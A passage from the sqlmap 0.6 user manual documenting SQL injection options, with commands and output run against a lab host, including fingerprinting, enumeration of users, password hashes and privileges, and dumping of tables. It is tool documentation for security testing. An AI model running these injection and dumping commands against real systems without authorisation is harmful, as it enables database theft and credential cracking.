+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Connection: close
+Transfer-Encoding: chunked
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996190</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [TRAFFIC OUT] HTTP request:
+GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
+Host: 192.168.1.121:80
+User-agent: sqlmap/0.6 (http://sqlmap.sourceforge.net)
+Connection: close
+
+[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
+Date: Fri, 25 Jul 2008 14:29:51 GMT
+Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
+OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
+X-Powered-By: PHP/5.2.4-2ubuntu5.2
+Content-Length: 161
+Connection: close
+Content-Type: text/html
+
+<html><body>
+<b>SQL results:</b>
+<table border="1">
+<tr><td>1</td><td>luther</td><td>blissett</td></tr>
+</table>
+</body></html><p>Dynamic content: 1216996191</p>
+
+[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual
+paragraph 'String match' for details
+
+
+
+
+As you can see, the string after Dynamic content
changes its
+value every second. In the example it is just a call to PHP
+time()
function, but on the real world it is usually much more
+than that.
+
+Looking at the HTTP responses page content you can see that the first five
+lines of code do not change at all.
+So choosing for instance the word luther
as an output that is
+on the True page content and it is not on the False page content and
+passing it to sqlmap, you should be able to inject anyway.
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
+ --string "luther" -v 1
+
+[hh:mm:22] [INFO] testing connection to the target url
+[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
+[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
+[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
+[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] GET parameter 'id' is dynamic
+[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
+[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
+[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
+[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
+[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
+[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
+[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
+[...]
+
+
+
+
+As you can see, when this option is specified, sqlmap skips the URL
+stability test.
+
+Consider this option a must when you are dealing with a page which
+content that changes itself at each refresh without modifying the user's
+input.
+
+
+Force the database management system name
+
+Option: --dbms
+
+By default sqlmap automatically detects the web application's back-end
+database manangement system.
+At the moment the fully supported database management system are four:
+
+
+- MySQL
+- Oracle
+- PostgreSQL
+- Microsoft SQL Server
+
+
+
+It is possible to force the name if you already know it so that sqlmap
+will skip the fingerprint with an exception for MySQL to only identify if
+it is MySQL < 5.0 or MySQL >= 5.0.
+To avoid also this check you can provide instead MySQL 4
or
+MySQL 5
.
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+ --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS: PostgreSQL
+
+
+
+
+In case you provide --fingerprint
together with --dbms
,
+sqlmap will only perform the extensive fingerprint for the specified
+database management system, read the following section for further
+details.
+
+Note that this option is not mandatory and it is strongly
+recommended to use it only if you are absolutely sure about the
+back-end database management system. If you do not know it, let sqlmap
+automatically identify it for you.
+
+
+
+
+Extensive database management system fingerprint
+
+Options: -f
or --fingerprint
+
+By default the web application's back-end database management system
+fingerprint is performed requesting a database specific function which
+returns a known static value. By comparing this value with the returned
+value it is possible to identify if the back-end database is effectively
+the one that sqlmap expected.
+After identifying an injectable vector, sqlmap fingerprints the back-end
+database management system and performs the following queries with their
+specific syntax within the limits of the database architecture.
+If you want to perform a more accurate database management system
+fingerprint based on various techniques like specific SQL dialects and
+inband error messages, you can provide the --fingerprint
option.
+The order of database management systems that sqlmap tests for is:
+
+
+- MySQL
+- Oracle
+- PostgreSQL
+- Microsoft SQL Server
+
+
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:02] [INFO] testing MySQL
+[hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:02] [INFO] retrieved: 44
+[hh:mm:02] [INFO] performed 20 queries in 0 seconds
+[hh:mm:02] [INFO] confirming MySQL
+[hh:mm:02] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:02] [INFO] retrieved: 1
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved: 4
+[hh:mm:02] [INFO] performed 13 queries in 0 seconds
+[hh:mm:02] [INFO] query: DATABASE()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SCHEMA()
+[hh:mm:02] [INFO] retrieved: test
+[hh:mm:02] [INFO] performed 34 queries in 0 seconds
+[hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:02] [INFO] retrieved:
+[hh:mm:02] [INFO] performed 6 queries in 0 seconds
+[hh:mm:02] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:26] [WARNING] the back-end DMBS is not MySQL
+[hh:mm:26] [INFO] testing Oracle
+[hh:mm:26] [INFO] query: LENGTH(SYSDATE)
+[hh:mm:26] [INFO] retrieved: 9
+[hh:mm:26] [INFO] performed 13 queries in 0 seconds
+[hh:mm:26] [INFO] confirming Oracle
+[hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
+[hh:mm:26] [INFO] retrieved: 10.2.0.1.0
+[hh:mm:27] [INFO] performed 76 queries in 0 seconds
+back-end DBMS: active fingerprint: Oracle 10g
+ html error message fingerprint: Oracle
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
+[hh:mm:56] [INFO] testing PostgreSQL
+[hh:mm:56] [INFO] query: COALESCE(7, NULL)
+[hh:mm:56] [INFO] retrieved: 7
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] confirming PostgreSQL
+[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
+[hh:mm:56] [INFO] retrieved: 1
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
+[hh:mm:56] [INFO] retrieved: 2
+[hh:mm:56] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0
+ html error message fingerprint: PostgreSQL
+
+
+
+
+As you can see from this last example, sqlmap first tested for MySQL,
+then for Oracle, then for PostgreSQL since the user did not forced the
+back-end database management system name.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f
+
+[...]
+[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:41] [INFO] testing Microsoft SQL Server
+[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))
+[hh:mm:41] [INFO] retrieved: 1
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:41] [INFO] retrieved: 0
+[hh:mm:41] [INFO] performed 13 queries in 0 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+
+If you want an even more accurate result, based also on banner parsing,
+you can also provide the -b
or --banner
option.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:11] [INFO] testing MySQL
+[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))
+[hh:mm:11] [INFO] retrieved: 44
+[hh:mm:11] [INFO] performed 20 queries in 0 seconds
+[hh:mm:11] [INFO] confirming MySQL
+[hh:mm:11] [INFO] query: LENGTH(CHAR(52))
+[hh:mm:11] [INFO] retrieved: 1
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved: 4
+[hh:mm:11] [INFO] performed 13 queries in 0 seconds
+[hh:mm:11] [INFO] query: DATABASE()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SCHEMA()
+[hh:mm:11] [INFO] retrieved: test
+[hh:mm:11] [INFO] performed 34 queries in 0 seconds
+[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
+[hh:mm:11] [INFO] retrieved:
+[hh:mm:11] [INFO] performed 6 queries in 0 seconds
+[hh:mm:11] [INFO] query: VERSION()
+[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
+[hh:mm:12] [INFO] performed 132 queries in 0 seconds
+[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
+back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
+ comment injection fingerprint: MySQL 5.0.51
+ banner parsing fingerprint: MySQL 5.0.51
+ html error message fingerprint: MySQL
+[...]
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
+
+[...]
+[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
+[hh:mm:03] [INFO] testing Microsoft SQL Server
+[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
+[hh:mm:03] [INFO] retrieved: 1
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
+[hh:mm:03] [INFO] retrieved: 0
+[hh:mm:03] [INFO] performed 13 queries in 0 seconds
+[hh:mm:03] [INFO] query: @@VERSION
+[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+
+[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
+back-end DBMS: active fingerprint: Microsoft SQL Server 2000
+ banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
+ version 8.00.194
+ html error message fingerprint: Microsoft SQL Server
+
+
+
+
+As you can see, from the Microsoft SQL Server banner, sqlmap was able to
+correctly identify the database management system service pack.
+The Microsoft SQL Server XML versions file is the result of a sqlmap
+parsing library that fetches data from Chip Andrews'
+SQLSecurity.com site and outputs it to the XML versions file.
+
+
+
+
+Banner
+
+Option: -b
or --banner
+
+Most of the modern database management systems have a function or an
+environment variable which returns details on the database managemet
+system version. Sometimes also the operating system where the daemon has
+been compiled on, the operating system architecture, its service pack.
+Usually this function is version()
or the @@version
+environment variable.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
+
+banner: '5.0.51a-3ubuntu5.2'
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
+
+banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
+4.2.3-2ubuntu4)'
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
+
+banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
+
+
+
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
+
+banner:
+---
+Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
+ Aug 6 2000 00:57:48
+ Copyright (c) 1988-2000 Microsoft Corporation
+ Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
+---
+
+
+
+
+
+Current user
+
+Option: --current-user
+
+It is possible to retrieve the database management system's user which is
+effectively performing the query on the database from the web application.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
+
+current user: 'testuser@localhost'
+
+
+
+
+
+Current database
+
+Option: --current-db
+
+It is possible to retrieve the database management system's database the
+web application is connected to.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
+
+current database: 'master'
+
+
+
+
+
+Users
+
+Option: --users
+
+It is possible to enumerate the list of database management system users.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
+
+database management system users [3]:
+[*] postgres
+[*] testuser
+[*] testuser2
+
+
+
+
+
+Users password hashes
+
+Options: --passwords
and -U
+
+It is possible to enumerate the password hashes for each database
+management system user.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords
+
+[*] debian-sys-maint [1]:
+ password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892
+[*] root [1]:
+ password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
+[*] testuser [1]:
+ password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
+
+
+
+
+You can also provide the -U
option to specify the user who you
+want to enumerate the password hashes.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
+ -U sa
+
+database management system users password hashes:
+[*] sa [1]:
+ password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
+ba9930b62ee5d506955
+ header: 0x0100
+ salt: 0e16d704
+ mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
+ uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
+
+
+
+
+As you can see, when you enumerate password hashes on Microsoft SQL Server
+sqlmap split the hash, useful if you want to crack it.
+
+
+Users privileges
+
+Options: --privileges
and -U
+
+It is possible to enumerate the privileges for each database management
+system user.
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
+
+[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
+[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
+database management system users privileges:
+[*] CTXSYS [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+[*] DBSNMP [1]:
+ privilege: OEM_MONITOR
+[*] FLOWS_020100 (administrator) [4]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+ privilege: SELECT_CATALOG_ROLE
+[*] FLOWS_FILES [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] HR (administrator) [3]:
+ privilege: CONNECT
+ privilege: DBA
+ privilege: RESOURCE
+[*] MDSYS [2]:
+ privilege: CONNECT
+ privilege: RESOURCE
+[*] OUTLN [1]:
+ privilege: RESOURCE
+[*] SYS (administrator) [22]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: AQ_USER_ROLE
+ privilege: AUTHENTICATEDUSER
+ privilege: CONNECT
+ privilege: CTXAPP
+ privilege: DBA
+ privilege: DELETE_CATALOG_ROLE
+ privilege: EXECUTE_CATALOG_ROLE
+ privilege: EXP_FULL_DATABASE
+ privilege: GATHER_SYSTEM_STATISTICS
+ privilege: HS_ADMIN_ROLE
+ privilege: IMP_FULL_DATABASE
+ privilege: LOGSTDBY_ADMINISTRATOR
+ privilege: OEM_ADVISOR
+ privilege: OEM_MONITOR
+ privilege: PLUSTRACE
+ privilege: RECOVERY_CATALOG_OWNER
+ privilege: RESOURCE
+ privilege: SCHEDULER_ADMIN
+ privilege: SELECT_CATALOG_ROLE
+ privilege: XDBADMIN
+ privilege: XDBWEBSERVICES
+[*] SYSTEM (administrator) [2]:
+ privilege: AQ_ADMINISTRATOR_ROLE
+ privilege: DBA
+[*] TSMSYS [1]:
+ privilege: RESOURCE
+[*] XDB [2]:
+ privilege: CTXAPP
+ privilege: RESOURCE
+
+
+
+
+You can also provide the -U
option to specify the user who you
+want to enumerate the privileges.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --privileges \
+ -U postgres
+
+database management system users privileges:
+[*] postgres (administrator) [3]:
+ privilege: catupd
+ privilege: createdb
+ privilege: super
+
+
+
+
+As you can see, depending on the user privileges, sqlmap identifies if the
+user is a database management system administrator and show after the
+username this information.
+
+Note that this feature is not available if the back-end database
+management system is Microsoft SQL Server.
+
+
+Available databases
+
+Option: --dbs
+
+It is possible to enumerate the list of databases.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dbs
+
+available databases [6]:
+[*] master
+[*] model
+[*] msdb
+[*] Northwind
+[*] pubs
+[*] tempdb
+
+
+
+
+Note that this feature is not available if the back-end database
+management system is Oracle.
+
+Databases tables
+
+Options: --tables
and -D
+
+It is possible to enumerate the list of tables for all database
+manangement system's databases.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+Database: information_schema
+[17 tables]
++---------------------------------------+
+| CHARACTER_SETS |
+| COLLATION_CHARACTER_SET_APPLICABILITY |
+| COLLATIONS |
+| COLUMN_PRIVILEGES |
+| COLUMNS |
+| KEY_COLUMN_USAGE |
+| PROFILING |
+| ROUTINES |
+| SCHEMA_PRIVILEGES |
+| SCHEMATA |
+| STATISTICS |
+| TABLE_CONSTRAINTS |
+| TABLE_PRIVILEGES |
+| TABLES |
+| TRIGGERS |
+| USER_PRIVILEGES |
+| VIEWS |
++---------------------------------------+
+
+Database: mysql
+[17 tables]
++---------------------------------------+
+| columns_priv |
+| db |
+| func |
+| help_category |
+| help_keyword |
+| help_relation |
+| help_topic |
+| host |
+| proc |
+| procs_priv |
+| tables_priv |
+| time_zone |
+| time_zone_leap_second |
+| time_zone_name |
+| time_zone_transition |
+| time_zone_transition_type |
+| user |
++---------------------------------------+
+
+
+
+
+You can also provide the -D
option to specify the database
+that you want to enumerate the tables.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --tables \
+ -D test
+
+Database: test
+[1 table]
++---------------------------------------+
+| users |
++---------------------------------------+
+
+
+
+
+Example on an Oracle XE 10.2.0.1 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --tables \
+ -D users
+
+Database: USERS
+[8 tables]
++-------------------+
+| DEPARTMENTS |
+| EMPLOYEES |
+| HTMLDB_PLAN_TABLE |
+| JOB_HISTORY |
+| JOBS |
+| LOCATIONS |
+| REGIONS |
+| USERS |
++-------------------+
+
+
+
+
+Note that on Oracle you have to provide the TABLESPACE_NAME
+instead of the database name, in my example that is users
to
+retrieve all tables owned by an Oracle database management system
+user.
+
+
+Database table columns
+
+Options: --columns
, -T
and -D
+
+It is possible to enumerate the list of columns for a specific database
+table.
+This functionality depends on both -T
to specify the table name
+and on -D
to specify the database name.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --columns \
+ -T users -D master
+
+Database: master
+Table: users
+[3 columns]
++---------+---------+
+| Column | Type |
++---------+---------+
+| id | int |
+| name | varchar |
+| surname | varchar |
++---------+---------+
+
+
+
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --columns \
+ -T users -D public
+
+Database: public
+Table: users
+[3 columns]
++---------+--------+
+| Column | Type |
++---------+--------+
+| id | int4 |
+| name | bpchar |
+| surname | bpchar |
++---------+--------+
+
+
+
+
+Note that on PostgreSQL you have to provide public
or the
+name of a system database because it is not possible to enumerate other
+databases tables, only the users' schema that the web application's user
+is connected to, which is always public
.
+
+
+Dump database tables entries
+
+Options: --dump
, -C
, -T
and -D
+
+It is possible to dump the entries for a specific database table.
+This functionality depends on both -T
to specify the table name
+and on -D
to specify the database name.
+
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump \
+ -T users -D test
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+
+
+
+You can also provide the -C
option to specify the table column
+that you want to enumerate the entries.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump \
+ -T users -D master -C surname
+
+Database: master
+Table: users
+[5 entries]
++-------------------+
+| surname |
++-------------------+
+| blisset |
+| bunny |
+| ming |
+| nameisnull |
+| user agent header |
++-------------------+
+
+
+
+
+sqlmap also stores for each table the dumped entries in a CSV format file.
+You can see the absolute path where it stored the dumped tables entries
+by providing a verbosity level greater than or equal to 1.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --dump \
+ -T users -D public -v 1
+
+[...]
+Database: public
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | | nameisnull |
++----+--------------------------------------------+-------------------+
+
+[hh:mm:59] [INFO] Table 'public.users' dumped to CSV file '/software/sqlmap/output/
+192.168.1.121/dump/public/users.csv'
+[hh:mm:59] [INFO] Fetched data logged to text files under '/software/sqlmap/output/
+192.168.1.121'
+
+$ cat /software/sqlmap/output/192.168.1.121/dump/public/users.csv
+"id","name","surname"
+"1","luther","blissett"
+"2","fluffy","bunny"
+"3","wu","ming"
+"4","sqlmap/0.6 (http://sqlmap.sourceforge.net)","user agent header"
+"5","","nameisnull"
+
+
+
+
+
+Dump all databases tables entries
+
+Options: --dump-all
and --exclude-sysdbs
+
+It is possible to dump all databases tables entries at once.
+Example on a MySQL 5.0.51 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --dump-all
+
+Database: test
+Table: users
+[5 entries]
++----+--------------------------------------------+-------------------+
+| id | name | surname |
++----+--------------------------------------------+-------------------+
+| 1 | luther | blissett |
+| 2 | fluffy | bunny |
+| 3 | wu | ming |
+| 4 | sqlmap/0.6 (http://sqlmap.sourceforge.net) | user agent header |
+| 5 | NULL | nameisnull |
++----+--------------------------------------------+-------------------+
+
+Database: information_schema
+Table: CHARACTER_SETS
+[36 entries]
++--------------------+----------------------+-----------------------------+--------+
+| CHARACTER_SET_NAME | DEFAULT_COLLATE_NAME | DESCRIPTION | MAXLEN |
++--------------------+----------------------+-----------------------------+--------+
+| tis620 | tis620_thai_ci | TIS620 Thai | 1 |
+| macroman | macroman_general_ci | Mac West European | 1 |
+| dec8 | dec8_swedish_ci | DEC West European | 1 |
+| ujis | ujis_japanese_ci | EUC-JP Japanese | 3 |
+| eucjpms | eucjpms_japanese_ci | UJIS for Windows Japanese | 3 |
+| armscii8 | armscii8_general_ci | ARMSCII-8 Armenian | 1 |
+| ucs2 | ucs2_general_ci | UCS-2 Unicode | 2 |
+| hp8 | hp8_english_ci | HP West European | 1 |
+| latin2 | latin2_general_ci | ISO 8859-2 Central European | 1 |
+| koi8u | koi8u_general_ci | KOI8-U Ukrainian | 1 |
+| keybcs2 | keybcs2_general_ci | DOS Kamenicky Czech-Slovak | 1 |
+| ascii | ascii_general_ci | US ASCII | 1 |
+| cp866 | cp866_general_ci | DOS Russian | 1 |
+| cp1256 | cp1256_general_ci | Windows Arabic | 1 |
+| macce | macce_general_ci | Mac Central European | 1 |
+| sjis | sjis_japanese_ci | Shift-JIS Japanese | 2 |
+| geostd8 | geostd8_general_ci | GEOSTD8 Georgian | 1 |
+| cp1257 | cp1257_general_ci | Windows Baltic | 1 |
+| cp852 | cp852_general_ci | DOS Central European | 1 |
+| euckr | euckr_korean_ci | EUC-KR Korean | 2 |
+| cp1250 | cp1250_general_ci | Windows Central European | 1 |
+| cp1251 | cp1251_general_ci | Windows Cyrillic | 1 |
+| binary | binary | Binary pseudo charset | 1 |
+| big5 | big5_chinese_ci | Big5 Traditional Chinese | 2 |
+| gb2312 | gb2312_chinese_ci | GB2312 Simplified Chinese | 2 |
+| hebrew | hebrew_general_ci | ISO 8859-8 Hebrew | 1 |
+| koi8r | koi8r_general_ci | KOI8-R Relcom Russian | 1 |
+| greek | greek_general_ci | ISO 8859-7 Greek | 1 |
+| cp850 | cp850_general_ci | DOS West European | 1 |
+| utf8 | utf8_general_ci | UTF-8 Unicode | 3 |
+| latin1 | latin1_swedish_ci | cp1252 West European | 1 |
+| latin7 | latin7_general_ci | ISO 8859-13 Baltic | 1 |
+| cp932 | cp932_japanese_ci | SJIS for Windows Japanese | 2 |
+| latin5 | latin5_turkish_ci | ISO 8859-9 Turkish | 1 |
+| swe7 | swe7_swedish_ci | 7bit Swedish | 1 |
+| gbk | gbk_chinese_ci | GBK Simplified Chinese | 2 |
++--------------------+----------------------+-----------------------------+--------+
+
+[...]
+
+
+
+
+You can also provide the --exclude-sysdbs
option to exclude all
+system databases so that sqlmap will only dump entries of users' databases
+tables.
+
+Example on a Microsoft SQL Server 2000 Service Pack 0 target:
+
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --dump-all \
+ --exclude-sysdbs
+
+Database: master
+Table: spt_datatype_info_ext
+[10 entries]
++----------------+-----------------+-----------+-----------+
+| AUTO_INCREMENT | CREATE_PARAMS | typename | user_type |
++----------------+-----------------+-----------+-----------+
+| 0 | length | char | 175 |
